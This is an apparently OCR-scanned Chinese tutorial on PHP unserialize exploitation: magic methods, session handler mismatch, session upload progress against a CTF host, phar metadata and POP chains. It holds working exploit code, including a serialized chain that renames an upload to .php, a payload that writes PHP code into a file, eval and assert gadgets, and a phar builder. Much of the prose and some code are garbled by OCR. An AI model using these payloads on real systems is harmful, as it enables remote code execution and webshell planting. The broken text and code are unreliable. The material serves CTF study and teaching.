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<?php

class test{
public $var = "hello world";
public function echop()

{

echo $this->var;
}
}
$obj = new test();
$obj->echop();
?>

OutPut:
helloworld

BHAREARE - IMNRIELE, RERAE.
o 2 BARMEE

__construct(), _ destruct(), __ call(), __ callStatic(), _ get(), _ set(),

__isset(), _ unset(), _ sleep(), _ wakeup(), _ to

i 1]

__construst() HIEEGIRAIEFTXT ST <4 B iR
__destruct() 5k 7E M Fexit()2& 1k A 547 B 24 B 30 A

__toString() J7E7E — AN KA BT AT R R A

b


https://blog.csdn.net/weixin_30920597
http://www.cnblogs.com/sylover/p/11623855.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=weixin_30920597&utm_content=102231945

<?php
class test{
public $var = "hello world";

public function echop()

{
echo $this->var;
echo "<br />";
}
public function __construct()
{
echo "construct";
echo "<br />";
}
public function __destruct()
{
echo "destruct";// TODO: Implement _ destruct() method.
echo "<br />";
}
public function __toString()
{
return "toString";// TODO: Implement __ toString() method.
echo "<br />";
}

$obj = new test();
$obj->echop();
echo $obj;

?>

output:

construct
hello world
toStringdestruct
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public function login_check(){
$profile=cookie( M
if(lempty($profile)){
$this->profile=unserialize(base64_decode($profile));
—>profile_db=db('user')->where("ID",intval($this—>profile['ID"']))—>find();
flarray_diff(sthis—=profile_db, $this—>profile)==null){

return 1;
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on __destruct()

is—>registed){
s—>checker—>index();

function __get($name)

return $this->except[$namel;

ic function __call($name, $arguments)

if($this—>{$name}){

$this—>{$this—>{$name}}($arguments);




<?php
namespace app\web\controller;

class Profile

{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img

"upload_img";

$profile->ext = "png";

$profile->filename_tmp =
"../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename =
"../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";

$register = new Register();
$register->registed = false;

$register->checker = $profile;

echo urlencode(base64 encode(serialize($register)));
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<?php

class test{
private $testl = "hello";
public $test2 = "hello";
protected $test3 = "hello";

}
$test = new test();

echo serialize($test);

?>

NER, BEE, RIE.
2 5

0:4:"test":3:{s:11:"testtestl";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"*test3";s:5:"hello";}
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O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}
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<?php
session_start();
$_SESSION['a'] = 'hsy';
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PMA_token |s:32: "69747f617b496072375a503f6d782d46";
}relation|a:1:{ 2:{s:11:"PMA VERSION",s 5:
8:"commwork";b: :"'mimework B :11:"hi ;S: B :"u1prefswork
gwork";b:0;s:14:"userconfigwork";b:0;s:9: 0; centralcolumnswork
esignersettingswork :10;5:19:"exporttemplateswork";b:0;s:8:"allwork user";N;s:2:"db"
:"mysql_cur_user" .'root@localhost",s 17:"is_create_ db priv" 8 B s_reload_priv";b: 8
B g ;s:10:"table prlv"'

:"settings"; B HCH
charset";s:9:"3d—¢-1é>t"; ; H HGH 16:"8%2"2";}} "server_1";a:
serprefs_type"; ;s: onfig_mtime' 570124975;s:9:"userprefs";a:2:{s:4:"lang";s: ';5:7: “Console"
:"collapse";}}}s: :"ver51on_check"; 2:{s:8:"response";s:248:"{
19-09-21",

"releases": [
{
"date": "2019-09-21",
"php_versions": ">=5.5,<7.4",
"version": "4.9.
"mysql_versions": ">=5.,5"
+
] 2
";s:9:"timestamp";1:1570182366; }}encryption_key |s:32 *x~&vP8m~ +$0# “#
A ]19~p3 ;userconfig|a:2:{s:2:"db";a: gl 3 :"zh_CN";s:12: "Console/Mode",s 8:"collapse";}s:2:"ts";1:1570182362; }two
tor _check|b:1;git_location|N;is_git_revision|b: 12:{s: ite_ 11:{i:1;a:0:{}}s:13:"recent_tables";a:1:{i:1;a:0:{}}}
igFilel|a:1:{s:7:"Servers";a:1:{i:1;a:2:{s:7: only_db";s:@ ;s:7:"hide_db";s:0:"";}}}debug|a:0:{}errors|a:0:{}

sessionsZ B 31433 SHA256 1% 1) .

session Jz 7 51 A4 I T 1 i -
[Fl B 3% F #35L=Aphp X

one.php

<?php
session_start();
$ SESSION['test'] = $ GET['a'];
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two.php

<?php
/**
* Created by PhpStorm.
* User: my_macbook
* Date: 2019/10/5
* Time: 7:31 PM
*/
class student{
var $name;
var $age;
var $mobile;
function __wakeup()
{
file_put_contents($this->name,$this->age,$this->mobile); // TODO: Implement __ wakeup() method.

session_start();
$a = $_SESSION['test'];
unserialize($a);
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sessid.php

<?php

/**

* Created by PhpStorm.

* User: my_macbook

* Date: 2019/10/5

* Time: 7:31 PM

*/

class student{
var $name;
var $age;
var $mobile;
function __wakeup()

{
file_put_contents($this->name,$this->age,$this->mobile); // TODO: Implement __ wakeup() method.

}
}

session_start();
$a = $_SESSION[ 'test'];
unserialize($a);
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0:8:"studuent":3:{s:4:"name";s:9:"hello.php";s:3:"age";s:9:"<?php php";s:6: " "mobile";s:10:"info()1 ?>";}
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a:l:{s:4:"test";s:102:"0:7:"student™:3:{s:4:"name";s:9:"hallo.php’
s:3:"age";s:9:"<?php php";s:6:"mobile";s:10:"info(); ?>";}";}
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<?php

//A webshell is wait for you

ini_set('session.serialize_handler', 'php');#ini_set¥ B EMEIRTMME. XAERTESIERABITRREHROME, HEBNA
GRS

session_start();

class OowoO

{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();"';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET[ 'phpinfo']))
{
$m = new OowoO();
}
else
{

highlight string(file_get_contents('index.php'));



XEMESET ini_set('session.serialize handler', ‘php');
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2 session.upload_progress.enabled INI iE&IA/SET , PHP BESfEE— 34 EERISN HEHE, X MEEN EEEkESHHSEHAE ,
{BFENZ{ RIS R A o] LUADE—{~POSTIEREIES (FRMEITXHR ) SRigEnx MR
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<?php

$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
var_dump($_SESSION[S$key]);

?>

BIHES_SESSION[Skey]["cancel_upload @& ATRUE , IEa]LLEGE — M EEAMNBFISUE HE, BERE—MNMEkP LES I3, BN=EEY
BIIEAERMERS S EEFRAMNBASE BT |, (BEFSERIBEEEMAY B, LD EEESXABGER , s FILES FlerrorESiigE
A UPLOAD_ERR_EXTENSION,

Y—A LAEFEL S, FRFPOST—/45INIF #% B Ksession.upload_progress.name[fl & &, HPHPM 2iXFPOSTiH
KB, ‘BE27E$S_SESSIONH A IN—4H%#E. FrLln] Llfiid Session Upload Progress3k % B session.

session.upload progress.cleanup Off Off
session.upload progress.enabled On On
s&sion.upload | progress.freq 1% 1%
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<IDOCTYPE html>
<html>
<head>
<title>test XXE</title>
<meta charset="utf-8">
</head>
<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype=

A5t F R GG - - >

"multipart/form-data"><!--

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />

<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>
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<?php
class OowoO

{

public $mdzz="print_r(scandir(dirname(__FILE_ )));"';

}
$obj = new OowoO();

$a = serialize($obj);

var_dump($a);

#]0:5:\"00wo0\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE_ )));\";}
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_SDRVER["SERUER_ADMIN "1

you@example.com

_SERVER["SCRIPT ;1= [="]

Jopt/lampp/htdocs/index.php

_SERVER["REMOTE_PORT"]

44006

SERVER["GATEWAY INTERFACE"]

203221180975

Content-Disposition: form-data; name="file";

filename="|0:5: %" Oowo0%": 1: {s: 4: \"ndzz\"; s: 36: \"print_r (scandir (dirname (_
_FILE__)i) A"}

Content-Type: text/plain

L2

a3

ra
12

1180975—

CaGl/1a

/7dnbsp ;&nbsp :&nbsp &nbsp; {<br

/&nbsp ;&nbsp &nbsp &nbsp ; &nbsp :&nbsp ;&nbsp ; &nbsp: eval (</span><span style="color
Z0000BE " »$this</span><span style="color: Z007700"—&gt ;< span:<span styvle="colox:
Z0000BB " *mdzz</span’<span style="color: E007T007:) :<br

/7&nbsp&nbsp  &nbsp  &nbsp }<br /r}<br /rif (isset (</spany<span style="color

#0000BB" >$_GET</span><span style="color: 2007700">[</span><span style="color:

£DD0000" " phpinfe’ </span<span style="color: 2007700">1))<br /> {<br

/&nbep ;&nbsp  &nbsp  &nbsp ; </span><span style="color: Z0000BE”>$mémbsp;</span><span
style="color: 50077007 >=&nbsp;newknbsp;</span><{span style="color:

Z0000BE " *0owo0</span’ {span style="color: Z00TTO07> () :<br /»}<br [frelsebr /> {<br
/&nbsp :&nbsp  &nbsp:&nhsp: </span’<{span style="color

Z0000BB" *highlight_string</span><span style="color: 2007700 ({/span><span
style="color: HOOOOBE":file_get_contents</span’<span style="color:

20077007 (</span><span style="color: ZDDO000":" index.php” </span’<span style="color:
E00TT007:) ) ;<br f>}<br />4 /span<span style="color: #OOOOBB":?P&gt:<br /> span>

</ span>
</code>Array
(
ol => .
[l =>» ..
[21 => Here_l1s_The_fl4g_bul_You_Cannot_see. php

[3] => index.php
[4] => phpinfo. php
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FHAMES: phar (PHP Archive) &PHP Bl F JavarFjarf —F3T &3, BT, HPHP RA>=5.30 BN B X
PHARSCAEH)

pharSCHERINVRAS & R, {EHpharst A FREEFIEE.

iphar://th s BIPHP R4, FSRARHT phar ST P 25 o

phar i 0 #8434 AR«

stub phar XEFRIR, # R Jox<?php xxx; _ HALT _COMPILER();?>;
manifest K45 A BHSERER, LUFFILAEE;
contents & 45 SO I I 25

signature %4, BIESCHFKRE;

XEABHEANREBE, —RXFRIR, LU HALT_COMPILER();?>45 B, HATHEKMAREA RS, Wit
BATAT LA 5 i — B Jr SO ERE pdf SOk Gt — 28 B AL FR ), —R&FFFIML, pharfifitimeta-datafs & BA
FPoUALTs KAFfE, 230 8 AF B 808 i3 phar://O8 T B AT phar SO 24 BE SOP FI4L, TR RE IR SO R4 B
HHRZ.

FRIAE
X BT E N E —pharZk:

phar_test.php



<?php
/**

* Created by PhpStorm.

* User: my_macbook

* Date: 2019/10/6

* Time: 1:44 AM

*/
require_once('evil.class.php');

$exception = new Evil('phpinfo()"');

$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("<?php_HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();

?>

evil.class.php

<?php
/**
* Created by PhpStorm.
* User: my_macbook
* Date: 2019/10/6
* Time: 1:48 AM
*/
class Evil{
protected $val;
function _ construct($val)

{
$this->val = $val;
}
function __wakeup()
{
assert($this->val); // TODO: Implement __ wakeup() method.
}
?>
AT phar.php

PATE SR B F=E—wul.phar, R Z#E#SCH$THF, mackk Ffriend hex WindowsF & Fiwinhex



:4:"EBvil”:1:{s:6:

7] LA & Bmete-data & & LA 514k 1) % AR FEFE phar 46 S0
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fEtesth 5N\

<?php
require_once('evil.class.php');
if(file_exists($_REQUEST['url'])){
echo "success";
}
else{
echo "fail";

1 I http:/localhost/test.php?url=phar://vul.phara] LA 4T 4y 247 o
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<?php
class start_gg

{
public $modi;
public $mod2;
public function __destruct()
{
$this->modl->testl();
}
}
class Call
{
public $modi;
public $mod2;
public function testl()
{
$this->modl->test2();
}
}
class funct
{
public $modi;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->modl;
$s1();
}
}
class func
{
public $modi;
public $mod2;
public function __invoke()
{
$this->mod2 = "FREHE" . $this->modl;
}
}
class stringl
{
public $stri;
public $str2;
public function __toString()
{
$this->stri->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."XXXXXXXXXXXX";
}
}
$a = $_GET['string'];
unserialize($a);

?>
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1. stringl¥H  tostringfFfESthis->strl->get flag(), S — TFTEBZNMEA tostring () RERE
FKstringl YRFEFERMFEH, FHARAMRSHstr 1A, UFEEstr 1IRENECetFlaghIFT R,
2. RMUEfuncHHFE  invoke HEPUT T EZRF P, TERfuncHRRBFEHEIN A invokeAFHSmod 1 R
ENstringl IR S Smod2 P
3. fEfunctFRE TR, FEEnodl BMENfuncRIINR, XHNRERBAE  callFEd, B
Nstest2, BRI AHtest 2 FENEBIAM  calliiik;
4. fEcallFfitest 1 FEFHFESthis->modl->test2 () ;» mEBEESmodl AN funct IR, ik call B3R
H.
5. BERtest 1 HERVEH M, Estartigg¢ﬁfﬂ$this—>mod1—>test1();, E$mod1ﬂﬁ{ﬁ?’ﬂstartigg3§l§@ﬁ%,
%fF  destruct () B,
exp:
<?php
class start_gg
{
public $modi;
public $mod2;
public function __construct()
{
$this->modl = new Call();//E$mod1lk{E ~NCallkst5
}
public function __destruct()
{
$this->modl->testl();
}
}
class Call
{
public $modi;
public $mod2;
public function __construct()
{
$this->modl = new funct();//# $mod1IEE NfunctZif 5
}
public function testl()
{
$this->modl->test2();
}
}
class funct
{
public $modi;
public $mod2;
public function __ construct()
{
$this->modl= new func();// $mod1H{E NfuncExt A
}
public function _ call($test2,$arr)
{
$s1 = $this->mod1;
$s10);
}
}

class func



public $modi;
public $mod2;
public function __construct()

{
$this->modl= new stringl();//# $mod1MR(H NstringldEit R
}
public function __invoke()
{
$this->mod2 = "FEREPHE" . $this->modl;
}
}
class stringl
{
public $stri;
public function __construct()
{
$this->stri= new GetFlag();//i $strilXfti NGetFlagdit &
}
public function __toString()
{
$this->stri->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."XXXXXXXXXXXX";
}
}

$b = new start_gg;//Hikstart_ggZit £ $b
echo urlencode(serialize($b))."<br />";//B % Hurlgid)s KIFEFI4LT 5

BRI 5 RAEASHT Llget flag
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